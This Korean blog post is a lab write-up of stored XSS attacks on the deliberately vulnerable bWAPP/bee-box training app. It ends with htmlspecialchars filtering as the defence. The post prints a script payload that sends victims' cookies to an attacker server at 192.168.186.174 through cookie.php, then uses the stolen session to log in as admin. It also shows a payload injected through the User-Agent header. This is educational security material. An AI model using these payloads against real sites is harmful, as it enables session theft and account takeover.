일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- XSS #ReflectedXSS
- C언어 #C #C프로그래밍 #프로그래밍 #언어 #Call by value #Call by reference
- C언어 #C #C프로그래밍 #프로그래밍 #언어 #c언어포인터와문자열 #c언어문자열
- 포렌식 #사이버포렌식 #Forensic #정보보안 #IT
- 파일시스템과파티션 #포렌식 #사이버포렌식 #Encase #Forensic #파티션 #파일시스템 #정보보안
- C언어 #C #C프로그래밍 #프로그래밍 #언어
- C언어 #C #C프로그래밍 #프로그래밍 #언어 #c언어포인터 #c언어포인터연산
- C언어 #C #C프로그래밍 #프로그래밍 #언어 #c2차원배열동적할당 #c언어동적할당 #c동적할당 #c언어동적할당2차원배열
- C언어 #C #C프로그래밍 #프로그래밍 #언어 #로또번호생성 #로또번호만들기 #중복제거 #중복제거알고리즘
- beebox #bWAPP #webhacking #web #웹해킹 #정보보안 #SQLi #sqlinjectioon
- c언어malloc #동적할당 #c언어동적할당 #c언어malloc사용하기
- beebox #bWAPP #webhacking #web #웹해킹 #정보보안 #IT
- beebox #bWAPP #webhacking #web #웹해킹 #정보보안 #phpcodeinjection #injection
- C언어 #C #C프로그래밍 #프로그래밍 #언어 #C동적메모리할당 #malloc #메모리
- beebox #bWAPP #webhacking #web #웹해킹 #정보보안 #commandinjection
- C언어 #C #C프로그래밍 #프로그래밍 #언어 #c배열포인터 #c언어포인터 #c언어배열포인터 #배열포인터
- C언어 #C #C프로그래밍 #프로그래밍 #언어 #c언어포인터의포인터 #c언어2중포인터
- 사이버포렌식 #포렌식 #FAT
- beebox #bWAPP #webhacking #web #웹해킹 #정보보안 #BrokenAuthentication
- beebox #bWAPP #webhacking #web #웹해킹 #정보보안 #bruteFource #무차별공격
- C언어 #C #C프로그래밍 #프로그래밍 #언어 #c언어포인터배열 #c언어포인터 #포인터 #c포인터
- C언어 #C #C프로그래밍 #프로그래밍 #언어 #선택정렬 #선택정렬알고리즘
- beebox #bWAPP #webhacking #web #웹해킹 #정보보안 #IT #PUT메소드 #PUT #HTTP메소드 #취약점
- beebox #bWAPP #webhacking #web #웹해킹 #정보보안 #IT #SQLi #TimeBaseSQLi #sqlinjection
- beebox #bWAPP #webhacking #web #웹해킹 #정보보안 #IT #robots.txt #검색엔진노출
- c언어문자열처리방법 #c언어문자열
- beebox #bWAPP #webhacking #web #웹해킹 #정보보안 #xss #storedxss #CrossSiteScripting
- #FAT파일시스템 #파일시스템구조 #파일시스템 #Forensic #정보보안 #IT
- beebox #bWAPP #webhacking #web #웹해킹 #정보보안 #IT #CSRF #
- C언어 #C #C프로그래밍 #프로그래밍 #언어 #포인터 #포인터변수 #c언어주소 #주소
- Today
- Total
Hello Security World
[Web Hacking] Bee - Box -Cross-Site-Scripting (Stroed) 본문
![](https://blog.kakaocdn.net/dn/blEGsT/btqDQc38pBl/DuC13kNHUYPnO2Usoc67v0/img.jpg)
XSS(Cross Site Scripting) 크로스 사이트 스크립팅 취약점 은 웹 어플리케이션에서 사용자의 입
력값에 대한 검증을 적절하게 하지않았을 때 발생하는 취약점으로서 공격자가 악의적인 스
크립트 구문을 삽입하여 사용자의 클라이언트에서 악성스크립트가 실행되는 공격이다.
크로스 사이트 스크립팅 공격은 아주 오래전부터 지속적으로 발생되는 취약점에도 불구하고
우회방법이 다양하고 정교하게 필터링 하기가 어렵다는 단점이 있다.
![](https://blog.kakaocdn.net/dn/A4qs1/btqDTj79RZ3/D3GkRjJZMSTkoATyhyYAnk/img.jpg)
[보안뉴스 캡쳐화면]
잘알려진 취약점이자 오래된 취약점 인데도 불구하고 구글의 오픈소스 자바스크립트 라이
브러리에서 XSS취약점이 발견되었다는 기사가 발표되었다. 2019.04-02 에 발표된 자료이다.
구글과 같은 대형 포털 사이트도 XSS취약점이 발견되었다는 것은 XSS공격이 큰 위협 요소
라는 것이다.
크로스 사이트 스크립팅 은 크게 3가지로 분류할 수 있다.
1. Stored XSS[Stored Cross Site Scripting] 저장된 크로스 사이트 스크립팅
2. Refleted XSS[Refleted Cross Site Scripting] 반사 크로스 사이트 스크립팅
3. Dom based XSS[Dom based Cross Site Scripting] DOM BASE 크로스 사이트 스크립팅
각 세부 사항에 대한 설명은 실습을 통해 설명하겠다
[A3-(1)]–Stored Cross Site Scripting
![](https://blog.kakaocdn.net/dn/kAO6z/btqDPXTEBS7/TIw2T4hp4ONBOl5PQuY45K/img.jpg)
Stored XSS(Cross Site Scripting) 취약점은 위와 같은 공격 개요도를 가지고 있다. 스크립트 코
드가 웹서버에 전송되고 데이터베이스에 저장된다. 불특정 다수의 사용자가 공격자의 게시물
에 접근하면 지속적으로 악의적인 스크립트가 실행되기 때문에 위협 영향도가 높다.
악성 스크립트 구문에는 보통 Cookie값 절취 , 악성코드 배포 , 검증되지 않은 리다이렉션 등
을 수행한다.
만약, 웹사이트가 Stored XSS 취약점에 노출되었다면 해당 홈페이지의 게시판 , 댓글란 등을
공격지로 삼고 공겨자들은 랜섬웨어 배포 , 쿠키값 절취 등 다양한 공격으로 이루어진다.
Stored Cross Site Scripting 공격 (난이도 하) –Blog-
![](https://blog.kakaocdn.net/dn/dvNr5E/btqDQsFHzLt/onoGLPjdIViek1nJ0YzPaK/img.jpg)
위의 페이지는 사용자의 입력값이 게시판 형태로 데이터베이스에 저장되고 사용자들이 게시
판에 저장된 글들을 확인할수 있다.
![](https://blog.kakaocdn.net/dn/cm01cx/btqDQsFHzNV/VGPJv1gkzm2ZK2pltsVUh1/img.jpg)
위의 블로그에 XSS(Cross Site Scripting) 취약점이 존재하는지 여부를 확인하게 다음과 같은
스크립트 구문을 삽입한다.
![](https://blog.kakaocdn.net/dn/StbDV/btqDSiWcrjd/i1yHKIiG839LuzyJJuDzK0/img.jpg)
스크립트 구문을 삽입하자 다음과 같이 경고창 으로 “Stored XSS test” 라는 문자열을 사용자
에게 표시한다, 위의 결과는 자바스크립트 코드를 필터링 하지않고 정상적으로 실행한다는
것을 알수 있다.
![](https://blog.kakaocdn.net/dn/r3qku/btqDQ9ez70m/EkHiniARzG4dt1ikLhZb00/img.jpg)
스크립트 태그가 정상적으로 출력되는 것을 확인했으니 document.cookie함수를 이용하여 사용
자의 쿠키값을 출력시키는 스크립트를 작성해보겠다.
![](https://blog.kakaocdn.net/dn/cj94Yi/btqDPZRu144/eE3mnp7t0L6yxcrY2dAXQk/img.jpg)
스크립트가 정상적으로 실행되면서 현재 해당 게시글을 확인한 사용자의 SESSION ID 즉 쿠
키값이 출력되었다 정상적으로 SESSION ID 가 출력된다는 것은 해당 서버에 HTTL ONLY 설
정이 되어 있지 않다는것이다. http only 옵션은 위와같이 document.cookie를 입력하였을 때 쿠
키 정보를 출력할수 없도록 만든 함수이다.
그렇다면 위의 Stored XSS취약점과 cookie값을 출력시킬수 있는 조건으로 시나리오를 만들어
bWAPP의 관리자의 쿠키값을 절취하고 절취한 쿠키값으로 관리자로 로그인을 해볼것이다.
![](https://blog.kakaocdn.net/dn/b6Ps26/btqDQUooWTR/QQWrNIQkGcnVdzoIqcYAnK/img.jpg)
<script>window.open("http://192.168.186.174/cookie.php?data="+document.cookie,"small","width=150,h
eight=220,scrollbars=no,menubar=no")</script> 다음과 같은 코드를 작성하였다. 위의 코드는 공
격자의 서버에 있는 cookie.php 에 쿠키값을 전송하는 코드이다.
![](https://blog.kakaocdn.net/dn/vPZNG/btqDQciK9Z2/TUn4mAY8fXEbcmMrtFakOK/img.jpg)
위의 코드는 공격자 서버에 저장할 cookie.php 소스코드 이다, 스크립트가 실행되면 위의 coo
Kie.php로 희생자의 쿠키값이 전송되고 ‘data.txt’라는 파일이 생성 -> 쿠키값이 저장된다.
스크립트 구문을 삽입한 해당 게시글을 확인해보겠다.
![](https://blog.kakaocdn.net/dn/t2Nvl/btqDSzwC689/ONJqhUsIgkP90Ys2kTKKKk/img.jpg)
게시글을 확인 했더니 브라우저창이 새로 열리고 url 주소에는 cookie값을 전송하는 코드가
있다, 사용자의 쿠키값이 공격자의 서버로 전송된것이다.
![](https://blog.kakaocdn.net/dn/c11AU6/btqDTjtyGYu/3jUeUAuPRnPq3hgf3UIwKK/img.jpg)
위의 그림과 같이 공격자의 서버에 data.txt파일이 생성되었다. 위의 내용을 확인해보자.
![](https://blog.kakaocdn.net/dn/6ChzI/btqDTkeVb5S/F5dK5nMkhhn66HgEbRidsk/img.jpg)
위의 그림과 같이 data.txt파일이 생성되었고 생성된 파일을 확인해보니 해당 게시글을 확인
한 희생자의 COOKIE 값이 전송된 것을 확인할수 있다.
![](https://blog.kakaocdn.net/dn/dPht1r/btqDRMb9t8g/epwteDE4WB1ZPVenvsS6Zk/img.jpg)
위의 탈취한 쿠키값으로 설정한 후 F5(새로고침) 을 하면 Bwapp의 관리자로 로그인되는 것
을 확인 할수있다.
Stored Cross Site Scipring 공격 (난이도 하) –User-Agent-
![](https://blog.kakaocdn.net/dn/bnkO2A/btqDQcwnnRW/YQfpoVXxvZ0DEz84wxA3R1/img.jpg)
xss_stored_4.php 페이지는 접속한 웹 브라우저의 정보가 저장된 ‘User-Agent’ 헤더 값을 테이
블 형태로 출력한다. 테이블에는 User-Agent 정보를 최근 접속한 순서대로 3개 까지만 출력하
는데, ‘download’ 라는 굵은 글씨를 클릭하면 페이지에 접속한 모든 ‘User-Agent’ 의 정보를 새
로운 페이지에 출력한다.
![](https://blog.kakaocdn.net/dn/bii3x5/btqDRv2LyTe/8rFMFhGWMXskai6fxjTaHK/img.jpg)
Burp Suite 를 이용해 User-Agent 헤더에 스크립트 코드를 입력하여 테이블에 스크립트를 저장
하는 XSS 공격을 시도해보았다.
![](https://blog.kakaocdn.net/dn/nNTct/btqDQt5F5c3/D4ZErRr9PLAPqCOP3w3PzK/img.jpg)
User-Agent 헤더에 스크립트 구문을 삽입하고 [Forward]를 누르자 스크립트가 정상적으로 실
행되고 있는 모습을 확인할수 있다.
![](https://blog.kakaocdn.net/dn/MjM8l/btqDSACi2B3/emgsERkOWfB6LwcWmdIK9k/img.jpg)
이번에는 <script>alert(document.cookir)</script> 스크립트 구문을 삽입하여 사용자의 cookie값을
출력하는 스크립트를 작성하였다.
![](https://blog.kakaocdn.net/dn/4XfiV/btqDQcC69w7/9TFZhokG6yFHzu2N377Q71/img.jpg)
Burp Suite 를 이용하여 [Forward]를 하자 현재 해당 게시글을 확인한 사용자의 쿠키값이 출
력되고 있다. 이렇듯 게시판 뿐 아니라 사용자의 입력값을 HTML 코드에 적용시켜 처리하는
경우 에는 모두 XSS공격이 가능하다. 따라서 사용자의 입력값은 반드시 신뢰할수 없다는 원
칙하에 필터링 함수를 사용해야한다.
Stored Cross Site Scripting 공격 (난이도 상) –Blog-
![](https://blog.kakaocdn.net/dn/bNCQAl/btqDRMb9t6l/amEZLIhNHkLSZqnDeKarZK/img.jpg)
난이도 상 에서는 <SCRIPT> 구문을 삽입하여도 스크립트가 실행되지 않는다 htmlspectionchar
S 함수로 사용자의 입력값을 필터링하고 있기 때문이다. htmlspectiolchars함수는 특수문자 들
을 HTML엔터티 코드로 변환한다. 따라서 스크립트 코드를 입력하여도 웹 브라우저에서는
스크립트로 인식하지 않고 문자로 인식한다.
'정보보안 > BWAPP Bee-box' 카테고리의 다른 글
[Web Hacking] Bee - Box - Time Based SQL injection (0) | 2020.05.03 |
---|---|
[Web Hacking] Bee - Box -Cross-Site-Scripting (Reflected) (0) | 2020.05.03 |
[Web Hacking] Bee - Box -Session Management (0) | 2020.05.03 |
[Web Hacking] Bee - Box -Brute Force Attack (0) | 2020.05.03 |
[Web Hacking] Bee - Box -Broken Authentication (0) | 2020.05.03 |